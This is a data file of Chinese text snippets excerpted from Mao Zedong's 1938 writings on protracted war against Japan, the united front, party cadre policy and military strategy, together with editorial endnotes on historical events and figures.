    {"text": "在作战上讲，十个月的经验证明歼灭是可能的，平型关、台儿庄等战役就是明证。 日本军心已在开始动摇，士兵不了解战争目的，陷于中国军队和中国人民的包围中，冲锋的勇气远弱于中国兵等等，都是有利于我之进行歼灭战的客观的条件，这些条件并将随着战争之持久而日益发展起来。 在以歼灭战破坏敌军的气焰这一点上讲，歼灭又是缩短战争过程提早解放日本士兵和日本人民的条件之一。"},
    {"text": "在一切有利的场合，每战集中优势兵力，采用包围迂回战术——不能包围其全部也包围其一部，不能俘获所包围之全部也俘获所包围之一部，不能俘获所包围之一部也大量杀伤所包围之一部。"},
    {"text": "对于前者，用集中兵力的原则； 对于后者，用分散兵力的原则。 在战役的指挥关系上，对于前者，用集中指挥的原则； 对于后者，用分散指挥的原则。"},
    {"text": "十个月来，中国这样大的团结和这样大的抵抗力，他们是没有料到的，他们把中国已处于进步时代，中国已存在着先进的党派、先进的军队和先进的人民这一点忘掉了。"},
    {"text": "台儿庄战役以前，敌在华中、华北大体上是平分兵力的，两方内部又各自平分。 例如华北，在津浦、平汉、同蒲三路平分兵力，每路伤亡了一些，占领地驻守了一些，再前进就没有兵了。"},
    {"text": "台儿庄战役以前，上海、南京、沧州、保定、南口、忻口、临汾诸役，击破者多，俘获者少，表现其指挥的笨拙。 这五个——逐渐增加兵力，没有主攻方向，没有战略协同，失去时机，包围多歼灭少，是台儿庄战役以前日本指挥的不行之点。 台儿庄战役以后，虽已改了一些，然根据其兵力不足和内部矛盾诸因素，求不重犯错误是不可能的。"},
    {"text": "我们方面，尚可有意地制造敌之错误，即用自己聪明而有效的动作，在有组织的民众掩护之下，造成敌人错觉，调动敌人就我范围，例如声东击西之类，这件事的可能性前面已经说过了。"},
    {"text": "抗日战争中的决战问题 （一○六）抗日战争中的决战问题应分为三类：一切有把握的战役和战斗应坚决地进行决战，一切无把握的战役和战斗应避免决战，赌国家命运的战略决战应根本避免。"},
    {"text": "在第一第二阶段，敌强我弱，敌之要求在于我集中主力与之决战。 我之要求则相反，在选择有利条件，集中优势兵力，与之作有把握的战役和战斗上的决战，例如平型关、台儿庄以及许多的其他战斗； 而避免在不利条件下的无把握的决战，例如彰德等地战役所采的方针。"},
    {"text": "如果避免了战略的决战，“留得青山在，不愁没柴烧”，虽然丧失若干土地，还有广大的回旋余地，可以促进并等候国内的进步、国际的增援和敌人的内溃，这是抗日战争的上策。"},
    {"text": "急性病的速胜论者熬不过持久战的艰难路程，企图速胜，一到形势稍为好转，就吹起了战略决战的声浪，如果照了干去，整个的抗战要吃大亏，持久战为之葬送，恰恰中了敌人的毒计，实在是下策。"},
    {"text": "我们曾经批评了所谓“有进无退”的拚命主义，就是因为这种拚命主义如果成为一般的风气，其结果就有使抗战不能继续，最后引向亡国的危险。"},
    {"text": "谁人不知，为争取时间和准备反攻而流血战斗，某些土地虽仍不免于放弃，时间却争取了，给敌以歼灭和给敌以消耗的目的却达到了，自己的战斗经验却取得了，没有起来的人民却起来了，国际地位却增长了。"},
    {"text": "因为如不在不利条件下放弃部分的土地，盲目地举行绝无把握的决战，结果丧失军力之后，必随之以丧失全部的土地，更说不到什么恢复失地了。"},
    {"text": "那些认为日本将在占领华北、江浙一带以后适可而止的人，完全没有看到发展到了新阶段迫近了死亡界线的日本帝国主义，已经和历史上的日本不相同了。"},
    {"text": "我们说，日本的出兵数和进攻点有一定的限制，是说：在日本一方面，在其力量基础上，为了还要举行别方面的进攻并防御另一方面的敌人，只能拿出一定程度的力量打中国打到它力所能及的限度为止；"},
    {"text": "日本不能占领全中国，然而在它一切力所能及的地区，它将不遗余力地镇压中国的反抗，直至日本的内外条件使日本帝国主义发生了进入坟墓的直接危机之前，它是不会停止这种镇压的。"},
    {"text": "然而军队的基础在士兵，没有进步的政治精神贯注于军队之中，没有进步的政治工作去执行这种贯注，就不能达到真正的官长和士兵的一致，就不能激发官兵最大限度的抗战热忱，一切技术和战术就不能得着最好的基础去发挥它们应有的效力。"},
    {"text": "我们说日本技术条件虽优，但它终必失败，除了我们给以歼灭和消耗的打击外，就是它的军心终必随着我们的打击而动摇，武器和兵员结合不稳。"},
    {"text": "克服了这一缺点，就把日本侵略者置于我们数万万站起来了的人民之前，使它像一匹野牛冲入火阵，我们一声唤也要把它吓一大跳，这匹野牛就非烧死不可。"},
    {"text": "我们方面，军队须有源源不绝的补充，现在下面胡干的“捉兵法”、“买兵法” 〔42〕 ，亟须禁止，改为广泛的热烈的政治动员，这样，要几百万人当兵都是容易的。"},
    {"text": "（一一五）很多人对于官兵关系、军民关系弄不好，以为是方法不对，我总告诉他们是根本态度（或根本宗旨）问题，这态度就是尊重士兵和尊重人民。"},
    {"text": "（一一六）当此保卫武汉等地成为紧急任务之时，发动全军全民的全部积极性来支持战争，是十分严重的任务。 保卫武汉等地的任务，毫无疑义必须认真地提出和执行。"},
    {"text": "因为只有这种方针才能坚持抗战，坚持持久战，才能普遍地深入地改善官兵关系、军民关系，才能发动全军全民的全部积极性，为保卫一切未失地区、恢复一切已失地区而战，才能争取最后胜利。"},
    {"text": "抗日民族统一战线是全军全民的统一战线，决不仅仅是几个党派的党部和党员们的统一战线； 动员全军全民参加统一战线，才是发起抗日民族统一战线的根本目的。"},
    {"text": "”“由于当前的抗战还存在着严重的弱点，所以在今后的抗战过程中，可能发生许多挫败、退却，内部的分化、叛变，暂时和局部的妥协等不利的情况。"},
    {"text": "这是因为国民党政府腐败无能，在抗日战争中节节失败，而日军则长驱直进，在战争的第一年中就侵占了华北和华中的大片土地，因而在一部分落后的人民中产生了严重的悲观情绪。"},
    {"text": "〔7〕 徐州战役是中国军队同日本侵略军在以徐州为中心的广大地区进行的一次战役。 从一九三七年十二月起，华北、华中的日军分南北两线沿津浦铁路和台潍（台儿庄至潍县）公路进犯徐州外围地区。 一九三八年四月上旬，中国军队在取得台儿庄会战的胜利后，继续向鲁南增兵，在徐州附近集结了约六十万的兵力； 而日军在台儿庄遭到挫败以后，从四月上旬开始调集南北两线兵力二十多万人，对徐州进行迂回包围。"},
    {"text": "康有为、梁启超、谭嗣同等人，在清朝光绪皇帝的支持下，企图通过自上而下的变法维新，逐步地在中国推行地主阶级和资产阶级联合统治的君主立宪制度，发展民族资本主义，以挽救民族危亡。"},
    {"text": "〔28〕 见本书第一卷《中国革命战争的战略问题》注〔32〕。 〔29〕 见本书第一卷《中国革命战争的战略问题》注〔33〕。 〔30〕 见本书第一卷《中国革命战争的战略问题》注〔34〕。 〔31〕 见本书第一卷《中国革命战争的战略问题》注〔35〕。 〔32〕 见本书第一卷《中国革命战争的战略问题》注〔36〕。"},
    {"text": "拿破仑的军队在深入俄国国土以后，遭到了俄国广大军民的坚决反抗，陷于饥寒困苦、后路被切断、四面被包围的绝境，最后不得不从莫斯科撤退。"},
    {"text": "同志们，还有一个问题，这就是中国共产党在民族战争中处于何种地位的问题，这就是共产党员应该怎样认识自己、加强自己、团结自己，才能领导这次战争达到胜利而不致失败的问题。"},
    {"text": "后来又提出了抗日民族统一战线的主张，命令红军改编为抗日的国民革命军开赴前线作战，命令自己的党员站在抗日战争的最前线，为保卫祖国流最后一滴血。"},
    {"text": "广大人民群众的民族觉悟、民族自尊心和自信心的不足，大多数民众的无组织，军力的不坚强，经济的落后，政治的不民主，腐败现象和悲观情绪的存在，统一战线内部的不团结、不巩固等等，形成了这种困难环境。"},
    {"text": "共产党员在八路军和新四军中，应该成为英勇作战的模范，执行命令的模范，遵守纪律的模范，政治工作的模范和内部团结统一的模范。 共产党员在和友党友军发生关系的时候，应该坚持团结抗日的立场，坚持统一战线的纲领，成为实行抗战任务的模范； 应该言必信，行必果，不傲慢，诚心诚意地和友党友军商量问题，协同工作，成为统一战线中各党相互关系的模范。"},
    {"text": "共产党员在民众运动中，应该是民众的朋友，而不是民众的上司，是诲人不倦的教师，而不是官僚主义的政客。 共产党员无论何时何地都不应以个人利益放在第一位，而应以个人利益服从于民族的和人民群众的利益。"},
    {"text": "共产党员应和党外一切先进分子协同一致，为着团结全国人民克服各种不良现象而努力。 必须懂得，共产党员不过是全民族中的一小部分，党外存在着广大的先进分子和积极分子，我们必须和他们协同工作。"},
    {"text": "共产党员对于落后的人们的态度，不是轻视他们，看不起他们，而是亲近他们，团结他们，说服他们，鼓励他们前进。 共产党员对于在工作中犯过错误的人们，除了不可救药者外，不是采取排斥态度，而是采取规劝态度，使之翻然改进，弃旧图新。"},
    {"text": "在长期战争和艰难环境中，只有共产党员协同友党友军和人民大众中的一切先进分子，高度地发挥其先锋的模范的作用，才能动员全民族一切生动力量，为克服困难、战胜敌人、建设新中国而奋斗。 团结全民族和反对民族 中的奸细分子 为要克服困难，战胜敌人，建设新中国，只有巩固和扩大抗日民族统一战线，发动全民族中的一切生动力量，这是唯一无二的方针。"},
    {"text": "共产党员应该随时注意那些奸细分子，用真凭实据揭发他们的罪恶，劝告人民不要上他们的当。 共产党员必须提高对于民族奸细分子的政治警觉性。 共产党员必须明白，揭发和清除奸细，是和扩大和巩固民族统一战线不能分离的。"},
    {"text": "扩大共产党和防止奸细混入 为了克服困难，战胜敌人，建设新中国，共产党必须扩大自己的组织，向着真诚革命、信仰党的主义、拥护党的政策、并愿意服从纪律、努力工作的广大工人、农民和青年积极分子开门，使党成为一个伟大的群众性的党。"},
    {"text": "日本帝国主义的特务机关，时刻企图破坏我们的党，时刻企图利用暗藏的汉奸、托派、亲日派、腐化分子、投机分子，装扮积极面目，混入我们的党里来。"},
    {"text": "坚持统一战线和坚持党的独立性 坚持民族统一战线才能克服困难，战胜敌人，建设新中国，这是毫无疑义的。 但是在同时，必须保持加入统一战线中的任何党派在思想上、政治上和组织上的独立性，不论是国民党也好，共产党也好，其他党派也好，都是这样。"},
    {"text": "但是阶级和阶级斗争的存在是一个事实； 有些人否认这种事实，否认阶级斗争的存在，这是错误的。 企图否认阶级斗争存在的理论是完全错误的理论。"},
    {"text": "为了团结抗日，应实行一种调节各阶级相互关系的恰当的政策，既不应使劳苦大众毫无政治上和生活上的保证，同时也应顾到富有者的利益，这样去适合团结对敌的要求。"},
    {"text": "照顾全局，照顾多数及 和同盟者一道工作 共产党员在领导群众同敌人作斗争的时候，必须有照顾全局，照顾多数及和同盟者一道工作的观点。 共产党员必须懂得以局部需要服从全局需要这一个道理。 如果某项意见在局部的情形看来是可行的，而在全局的情形看来是不可行的，就应以局部服从全局。 反之也是一样，在局部的情形看来是不可行的，而在全局的情形看来是可行的，也应以局部服从全局。 这就是照顾全局的观点。"},
    {"text": "干部政策 中国共产党是在一个几万万人的大民族中领导伟大革命斗争的党，没有多数才德兼备的领导干部，是不能完成其历史任务的。 十七年来，我们党已经培养了不少的领导人材，军事、政治、文化、党务、民运各方面，都有了我们的骨干，这是党的光荣，也是全民族的光荣。"},
    {"text": "在中国人民的伟大的斗争中，已经涌出并正在继续涌出很多的积极分子，我们的责任，就在于组织他们，培养他们，爱护他们，并善于使用他们。"},
    {"text": "去掉孤傲习气，善于和非党干部共事，真心诚意地帮助他们，用热烈的同志的态度对待他们，把他们的积极性组织到抗日和建国的伟大事业中去，这是每一个共产党员的责任。"},
    {"text": "必须善于识别干部。 不但要看干部的一时一事，而且要看干部的全部历史和全部工作，这是识别干部的主要方法。 必须善于使用干部。 领导者的责任，归结起来，主要地是出主意、用干部两件事。"},
    {"text": "共产党的干部政策，应是以能否坚决地执行党的路线，服从党的纪律，和群众有密切的联系，有独立的工作能力，积极肯干，不谋私利为标准，这就是“任人唯贤”的路线。"},
    {"text": "过去张国焘的干部政策与此相反，实行“任人唯亲”，拉拢私党，组织小派别，结果叛党而去，这是一个大教训。 鉴于张国焘的和类似张国焘的历史教训，在干部政策问题上坚持正派的公道的作风，反对不正派的不公道的作风，借以巩固党的统一团结，这是中央和各级领导者的重要的责任。"},
    {"text": "因此，必须对党员进行有关党的纪律的教育，既使一般党员能遵守纪律，又使一般党员能监督党的领袖人物也一起遵守纪律，避免再发生张国焘事件。 为使党内关系走上正轨，除了上述四项最重要的纪律外，还须制定一种较详细的党内法规，以统一各级领导机关的行动。"},
    {"text": "所谓发挥积极性，必须具体地表现在领导机关、干部和党员的创造能力，负责精神，工作的活跃，敢于和善于提出问题、发表意见、批评缺点，以及对于领导机关和领导干部从爱护观点出发的监督作用。"},
    {"text": "由于我们的国家是一个小生产的家长制占优势的国家，又在全国范围内至今还没有民主生活，这种情况反映到我们党内，就产生了民主生活不足的现象。"},
    {"text": "扩大党内民主，应看作是巩固党和发展党的必要的步骤，是使党在伟大斗争中生动活跃，胜任愉快，生长新的力量，突破战争难关的一个重要的武器。"},
    {"text": "我们的党已经从两条战线 斗争中巩固和壮大起来 十七年来，我们的党，一般地已经学会了使用马克思列宁主义的思想斗争的武器，从两方面反对党内的错误思想，一方面反对右倾机会主义，又一方面反对“左”倾机会主义。"},
    {"text": "遵义会议纠正了在第五次反“围剿”斗争中所犯的“左”倾机会主义性质的严重的原则错误，团结了党和红军，使得党中央和红军主力胜利地完成了长征，转到了抗日的前进阵地，执行了抗日民族统一战线的新政策。 由于巴西会议 〔9〕 和延安会议 〔10〕 （反对张国焘路线的斗争是从巴西会议开始而在延安会议完成的）反对了张国焘的右倾机会主义，使得全部红军会合一起，全党更加团结起来，进行了英勇的抗日斗争。"},
    {"text": "在于：（一）由于不认识中国革命战争中的特点而产生的、表现于第五次反“围剿”斗争中的严重的原则错误，包含着不顾主客观条件的“左”的急性病倾向，这种倾向极端地不利于革命战争，同时也不利于任何革命运动。"},
    {"text": "只有克服了它，才使得本质很好而且作了长期英勇斗争的红军第四方面军的广大的干部和党员，从张国焘的机会主义统制之下获得解放，转到中央的正确路线方面来。"},
    {"text": "（三）十年土地革命战争时期的伟大的组织工作，不论是军事建设工作也好，政府工作也好，民众工作也好，党的建设工作也好，是有大的成绩的，没有这种组织工作和前线的英勇战斗相配合，要支持当时的残酷的反对蒋介石的斗争是不可能的。"},
    {"text": "但是到了张国焘不但坚持地不肯改正他的错误，采取了两面派的行为，而且在后来实行叛党，投入国民党的怀抱的时候，党就不得不坚决地开除他的党籍。"},
    {"text": "在统一战线问题上，在党的组织问题上和在民众的组织问题上，则须继续反对“左”的关门主义倾向，以便实现和各抗日党派的合作，发展共产党和发展民众运动；"},
    {"text": "但是在同时，无条件的合作，无条件的发展，这种右倾机会主义的倾向也要注意反对，否则也就会妨碍合作，妨碍发展，而变为投降主义的合作和无原则的发展了。"},
    {"text": "学习 一般地说，一切有相当研究能力的共产党员，都要研究马克思、恩格斯、列宁、斯大林的理论，都要研究我们民族的历史，都要研究当前运动的情况和趋势；"},
    {"text": "不但应当了解马克思、恩格斯、列宁、斯大林他们研究广泛的真实生活和革命经验所得出的关于一般规律的结论，而且应当学习他们观察问题和解决问题的立场和方法。"},
    {"text": "在担负主要领导责任的观点上说，如果我们党有一百个至二百个系统地而不是零碎地、实际地而不是空洞地学会了马克思列宁主义的同志，就会大大地提高我们党的战斗力量，并加速我们战胜日本帝国主义的工作。"},
    {"text": "马克思列宁主义的伟大力量，就在于它是和各个国家具体的革命实践相联系的。 对于中国共产党说来，就是要学会把马克思列宁主义的理论应用于中国的具体的环境。"},
    {"text": "成为伟大中华民族的一部分而和这个民族血肉相联的共产党员，离开中国特点来谈马克思主义，只是抽象的空洞的马克思主义。 因此，使马克思主义在中国具体化，使之在其每一表现中带着必须有的中国的特性，即是说，按照中国的特点去应用它，成为全党亟待了解并亟须解决的问题。"},
    {"text": "洋八股 〔11〕 必须废止，空洞抽象的调头必须少唱，教条主义必须休息，而代之以新鲜活泼的、为中国老百姓所喜闻乐见的中国作风和中国气派。"},
    {"text": "毛泽东在报告中提出“中国共产党在民族战争中的地位”这一问题，便是为的使全党同志明确地知道并认真地负起中国共产党领导抗日战争的重大历史责任。"},
    {"text": "全会确定了坚持抗日民族统一战线的方针，同时指出了在统一战线中有团结又有斗争，“一切经过统一战线”的提法对于中国情况是不适合的，这样就批判了关于统一战线问题上的迁就主义的错误；"},
    {"text": "全会同时又确定了全党从事组织人民的抗日武装斗争的极端重要性，决定党的主要工作方面是战区和敌后，而批判了那种把战胜日本帝国主义的希望寄托于国民党军队以及把人民的命运寄托于国民党反动派统治下的合法运动等项错误思想；"},
    {"text": "〔1〕 见本书第一卷《论反对日本帝国主义的策略》注〔4〕。 〔2〕 见本卷《论持久战》注〔9〕。 〔3〕 见本书第一卷《湖南农民运动考察报告》注〔8〕。"},
    {"text": "〔4〕 一九三四年一月斯大林《在党的第十七次代表大会上关于联共（布）中央工作的总结报告》中说：“在正确的政治路线提出以后，组织工作就决定一切，其中也决定政治路线本身的命运，即决定它的实现或失败。"},
    {"text": "（《斯大林选集》下卷，人民出版社1979年版，第343、371页） 〔5〕 指从一九二七年八月七日中共中央紧急会议到一九三四年一月中共六届五中全会以前这一段时间。"},
    {"text": "〔6〕 见本书第一卷《中国革命战争的战略问题》注〔4〕。 〔7〕 见本书第一卷《中国革命战争的战略问题》注〔5〕。 〔8〕 见本书第一卷《中国革命战争的战略问题》注〔7〕。"},
    {"text": "统一战线中的独立自主问题 统一战线中的独立自主问题 * （一九三八年十一月五日） 帮助和让步应该是积极的， 不应该是消极的 为了长期合作，统一战线中的各党派实行互助互让是必需的，但应该是积极的，不是消极的。"},
    {"text": "我们的让步、退守、防御或停顿，不论是向同盟者或向敌人，都是当作整个革命政策的一部分看的，是联系于总的革命路线而当作不可缺少的一环看的，是当作曲线运动的一个片断看的。"},
    {"text": "听说法国共产党曾经提出过这个口号，那大概是因为法国有了各党的共同委员会，而对于共同决定的纲领，社会党方面不愿照做，依然干他们自己的，故共产党有提此口号以限制社会党之必要，并不是提此口号以束缚自己。"},
    {"text": "我们提这个口号，如果是要求国民党“一切”都要“经过”我们同意，是做不到的，滑稽的。 如果想把我们所要做的“一切”均事先取得国民党同意，那末，它不同意怎么办？"},
    {"text": "关于这种意见分歧，毛泽东在一九四七年十二月二十五日的报告《目前形势和我们的任务》中曾作了以下简要的总结：“抗日战争时期，我党反对了和这种投降主义思想（编者按：指第一次国内革命战争时期陈独秀的投降主义思想）相类似的思想，即是对于国民党的反人民政策让步，信任国民党超过信任人民群众，不敢放手发动群众斗争，不敢在日本占领地区扩大解放区和扩大人民的军队，将抗日战争的领导权送给国民党。 我党对于这样一种软弱无能的腐朽的违背马克思列宁主义原则的思想，进行了坚决的斗争，坚决地执行了‘发展进步势力，争取中间势力，孤立顽固势力’的政治路线，坚决地扩大了解放区和人民解放军。 这样，就不但保证了我党在日本帝国主义侵略时期能够战胜日本帝国主义，而且保证了我党在日本投降以后蒋介石举行反革命战争时期，能够顺利地不受损失地转变到用人民革命战争反对蒋介石反革命战争的轨道上，并在短时期内取得了伟大的胜利。"},
    {"text": "〔3〕 “劳资合作论”，是第二国际主张在资本主义国家内，无产阶级与资产阶级合作，反对用革命手段推翻资产阶级统治以建立无产阶级专政的一种反动理论。"},
    {"text": "〔4〕 见本书第一卷《中国革命战争的战略问题》注〔4〕。 〔5〕 见本书第一卷《论反对日本帝国主义的策略》注〔24〕。 〔6〕 见本卷《陕甘宁边区政府、第八路军后方留守处布告》注〔3〕。"},
    {"text": "战争和战略问题 战争和战略问题 * （一九三八年十一月六日） 一 中国的特点和革命战争 革命的中心任务和最高形式是武装夺取政权，是战争解决问题。"},
    {"text": "但是这种战争，不到资产阶级处于真正无能之时，不到无产阶级的大多数有了武装起义和进行战争的决心之时，不到农民群众已经自愿援助无产阶级之时，起义和战争是不应该举行的。"},
    {"text": "对于中国共产党，在帝国主义没有武装进攻的时候，或者是和资产阶级一道，进行反对军阀（帝国主义的走狗）的国内战争，例如一九二四年至一九二七年的广东战争 〔2〕 和北伐战争； 或者是联合农民和城市小资产阶级，进行反对地主阶级和买办资产阶级（同样是帝国主义的走狗）的国内战争，例如一九二七年至一九三六年的土地革命战争。 在帝国主义举行武装进攻的时候，则是联合国内一切反对外国侵略者的阶级和阶层，进行对外的民族战争，例如现在的抗日战争。"},
    {"text": "在战争爆发以前的一切组织和斗争，是为了准备战争的，例如五四运动（一九一九年）至五卅运动（一九二五年）那一时期。 在战争爆发以后的一切组织和斗争，则是直接或间接地配合战争的，例如北伐战争时期，革命军后方的一切组织和斗争是直接地配合战争的，北洋军阀统治区域内的一切组织和斗争是间接地配合战争的。 又如土地革命战争时期，红色区域内部的一切组织和斗争是直接地配合战争的，红色区域外部的一切组织和斗争是间接地配合战争的。 再如现在抗日战争时期，抗日军后方的和敌军占领地的一切组织和斗争，也同样是直接或间接地配合战争的。"},
    {"text": "这些表示了战争主体有广狭的区别（工农联合，或工农资产阶级联合），战争对象有内外的区别（反对国内敌人，或反对国外敌人； 国内敌人又分北洋军阀或国民党），表示了中国革命战争在其历史进程的各个时期中有不相同的内容。"},
    {"text": "中国无产阶级政党的主要的和差不多开始就面对着的任务，是联合尽可能多的同盟军，组织武装斗争，依照情况，反对内部的或外部的武装的反革命，为争取民族的和社会的解放而斗争。 在中国，离开了武装斗争，就没有无产阶级和共产党的地位，就不能完成任何的革命任务。"},
    {"text": "这对于有些党员愿作党的组织工作，愿作民众运动的工作，而不愿研究战争和参加战争，有些学校没有注意鼓励学生上前线，等等现象，还是一剂对症的良药。"},
    {"text": "一部分距离战区较远的后方（如云南、贵州、四川）和一部分敌人控制的地区（如北平、天津、南京、上海），党的组织工作和民众运动也是配合战争的，只能也只应服从前线的要求。"},
    {"text": "三 中国共产党的战争史 我们党虽然在一九二一年（中国共产党成立）至一九二四年（国民党第一次全国代表大会）的三四年中，不懂得直接准备战争和组织军队的重要性；"},
    {"text": "这两个会议的内容和历史作用是不一样的，但是这两个会议都没有着重地涉及战争和战略的问题，这是当时党的工作重心还没有放在战争上面的反映。"},
    {"text": "一九三三年党的中央迁至红色区域以后，情形有了根本的改变，但对于战争问题（以及一切主要问题），又犯了原则性的错误，致使革命战争遭受了严重的损失 〔24〕 。"},
    {"text": "到今天为止，我们可以自信地说，中国共产党在十七年的斗争中，不但锻炼出来了一条坚强的马克思主义的政治路线，而且锻炼出来了一条坚强的马克思主义的军事路线。"},
    {"text": "在世界范围内，还只有苏联、中国、西班牙三国共产党所领导的三个军队，是属于无产阶级和劳动人民方面的，其他各国的党都还没有军事经验，所以我们的军队和军事经验特别值得宝贵。"},
    {"text": "四 国内战争和民族战争中 党的军事战略的转变 我们党的军事战略的变化问题，值得给以研究。 分为国内战争和民族战争两个过程来说。 国内战争的过程，大体上可以分为前后两个战略时期。"},
    {"text": "但所谓正规战争是中国型的，只表现在集中兵力打运动战和指挥上、组织上的某种程度的集中性和计划性方面，其他则仍是游击性的，低级的，不能和外国军队一概而论，也和国民党的军队有些不同。"},
    {"text": "但抗日战争前期的游击战争，和国内战争前期的游击战争有许多不同的内容，因为是用正规性（某种程度上）的八路军去分散执行游击任务； 抗日战争后期的正规战争也将不同于国内战争后期的正规战争，这是设想在装备了新式武器之后，军队和作战将要起一个大的变革而说的。"},
    {"text": "第一个，国内游击战争和国内正规战争之间的转变。 第二个，国内正规战争和抗日游击战争之间的转变。 第三个，抗日游击战争和抗日正规战争之间的转变。"},
    {"text": "一方面，要反对沉溺于游击性而不愿向正规性转变的右的地方主义和游击主义的倾向，这是由于干部对已经变化的敌情和任务估计不足而发生的。"},
    {"text": "又一方面，则要反对过分地重视正规化的“左”的集中主义和冒险主义的倾向，这是由于一部分领导干部对敌情和任务估计过分，并且不看实情，机械地搬用外国经验而发生的。"},
    {"text": "这时，敌人是新的，即日本帝国主义，友军是过去的敌人国民党（它对我们仍然怀着敌意），战场是地域广大的华北（暂时的我军正面，但不久就会变为长期的敌人后方）。"},
    {"text": "在这些特殊的情况下，必须把过去的正规军和运动战，转变成为游击军（说的是分散使用，不是说的组织性和纪律性）和游击战，才能同敌情和任务相符合。"},
    {"text": "这时可能发生的，一方面是轻敌倾向，又一方面是恐日病，这些在国民党中都是发生了的。 国民党当它从国内战争的战场向民族战争的战场转变时，主要由于轻敌，同时也存在着一种恐日病（以韩复榘、刘峙 〔26〕 为代表），而遭受了很多不应有的损失。"},
    {"text": "这一转变关系于整个抗日战争的坚持、发展和胜利，关系于中国共产党的前途非常之大，只要想一想抗日游击战争在中国民族解放命运上的历史意义，就会知道的。"},
    {"text": "五 抗日游击战争的战略地位 在抗日战争的全体上说来，正规战争是主要的，游击战争是辅助的，因为抗日战争的最后命运，只有正规战争才能解决。 就全国来说，在抗日战争全过程的三个战略阶段（防御、相持、反攻）中，首尾两阶段，都是正规战争为主，辅之以游击战争。 中间阶段，由于敌人保守占领地、我虽准备反攻但尚不能实行反攻的情况，游击战争将表现为主要形态，而辅之以正规战；"},
    {"text": "原因是大半个中国将变为敌人的后方，如果没有最广大的和最坚持的游击战争，而使敌人安稳坐占，毫无后顾之忧，则我正面主力损伤必大，敌之进攻必更猖狂，相持局面难以出现，继续抗战可能动摇，即若不然，则我反攻力量准备不足，反攻之时没有呼应，敌之消耗可能取得补偿等等不利情况，也都要发生。"},
    {"text": "在战争问题上，抗日战争中国共两党的分工，就目前和一般的条件说来，国民党担任正面的正规战，共产党担任敌后的游击战，是必须的，恰当的，是互相需要、互相配合、互相协助的。 由此可以懂得，我们党的军事战略方针，由国内战争后期的正规战争转变为抗日战争前期的游击战争，是何等重要和必要的了。"},
    {"text": "（八）最普遍地发展民众运动，全体敌后人民，除了敌人的据点以外，都可组织起来； （九）最普遍地建立抗日的民主政权； （十）最普遍地发展抗日的文化教育；"},
    {"text": "为着克服党内这种右倾机会主义，而使全党更明确地了解战争和战略问题在中国革命问题上的首要地位，并动员全党认真地从事这项工作，毛泽东在六届六中全会上又从中国政治斗争的历史方面着重地说明这个问题，同时说明我们的军事工作的发展和战略方针的具体变化的过程，从而取得了全党在领导思想上和工作上的一致。"},
    {"text": "〔1〕 参见列宁《战争和俄国社会民主党》、《俄国社会民主工党国外支部代表会议》、《关于自己的政府在帝国主义战争中的失败》（《列宁全集》第26卷，人民出版社1988年版，第12—19、163—169、297—303页）和《俄国的战败和革命危机》（《列宁全集》第27卷，人民出版社1990年版，第31—35页）。"},
    {"text": "并参见《联共（布）党史简明教程》第六章第三节《布尔什维克党在战争、和平与革命问题上的理论和策略》（人民出版社1975年版，第185—192页）。"},
    {"text": "一八九五年清朝政府在中日战争中失败以后，孙中山依靠兴中会联络民间秘密团体会党的力量，在广东组织过两次反对清朝统治的武装起义，即一八九五年的广州之役和一九○○年的惠州之役。 〔6〕 一九○五年，兴中会同其他的反清团体华兴会等在日本东京联合组成中国资产阶级革命团体同盟会，采用了孙中山提出的“驱除鞑虏，恢复中华，创立民国，平均地权”的资产阶级革命的政纲。 在同盟会的领导与影响下，革命党人联合会党、新军发动了多次武装起义，其中主要的是：一九○六年的萍乡浏阳醴陵之役，一九○七年的潮州黄冈之役、惠州之役、钦（州）廉（州）之役和镇南关（今广西友谊关）之役，一九○八年钦（州）廉（州）上思之役和云南河口之役，一九一○年的广州之役，一九一一年的广州之役和武昌起义。"},
    {"text": "一九一三年，袁世凯派军队南下，企图消灭在江西、安徽、广东等省的国民党势力，孙中山曾经发动武装的反抗，但是不久就失败了。 一九一四年，孙中山鉴于对袁世凯妥协的失策，在日本东京另行组织中华革命党，以表示同当时的国民党相区别。 中华革命党是资产阶级革命政党，它积极开展武装的反袁运动，主要的有：一九一四年湖南郴县、桂阳等地的起义，广东惠州、顺德等地的起义和一九一五年上海肇和军舰的起义。"},
    {"text": "孙中山是当时武装反袁的积极鼓吹者和活动者，他领导的中华革命党人又在广东、山东等地发动了反袁的武装起义。 〔9〕 一九一七年孙中山和在他影响下的海军由上海到广州，以广东为根据地，联合当时反对北洋军阀段祺瑞的西南军阀，组织反段的军政府。"},
    {"text": "〔11〕 一九二四年，孙中山在中国共产党和苏联的帮助下，在广州东郊的黄埔建立陆军军官学校，一九二六年改组为中央军事政治学校，通称黄埔军校。"},
    {"text": "中国共产党人周恩来、恽代英、萧楚女、熊雄、聂荣臻以及其他同志，曾经先后在这个学校担任政治工作和其他工作，以革命精神为当时的革命军队培养了大批骨干，其中包括不少的共产党员和共产主义青年团员。"},
    {"text": "一九二七年南京国民党政府成立前后，该系一部分成员先后投靠蒋介石，帮助蒋介石建立和维持反革命统治，又成为国民党内的派系之一，其主要成员有黄郛、杨永泰、张群、熊式辉等。"},
    {"text": "〔18〕 这里主要是指以共产党员叶挺为首的独立团（见本书第一卷《井冈山的斗争》注〔18〕），以贺龙为首的第二十军，朱德领导的第三军军官教育团，中央军事政治学校武汉分校。"},
    {"text": "〔19〕 见本书第一卷《中国革命战争的战略问题》注〔37〕。 〔20〕 见本书第一卷《中国革命战争的战略问题》注〔39〕。 〔21〕 参见本书第一卷《中国的红色政权为什么能够存在？"},
    {"text": "这次会议总结了第一次国内革命战争失败的经验教训，结束了陈独秀右倾投降主义在中央的统治，确定了土地革命和武装反抗国民党反动派统治的总方针，并把发动农民举行秋收起义作为当时党的最主要的任务。"},
    {"text": "陈绍禹等人在共产国际及其代表米夫的支持下，通过这次会议取得了在中共中央的领导地位，开始了长达四年之久的“左”倾冒险主义在党内的统治。"},
    {"text": "〔24〕 参见本书第一卷《中国革命战争的战略问题》和本书第三卷《学习和时局》一文的附录《关于若干历史问题的决议》第四部分。 〔25〕 参见本书第三卷《学习和时局》一文的附录《关于若干历史问题的决议》第三部分。"},
    {"text": "〔26〕 韩复榘，原来是长期统治山东的国民党军阀，抗日战争爆发后任第五战区副司令长官、第三集团军总司令。 刘峙，蒋介石的嫡系，原来在河南，抗日战争爆发后任第一战区副司令长官、第一集团军总司令，负责防御河北省境内平汉铁路沿线地区。"},
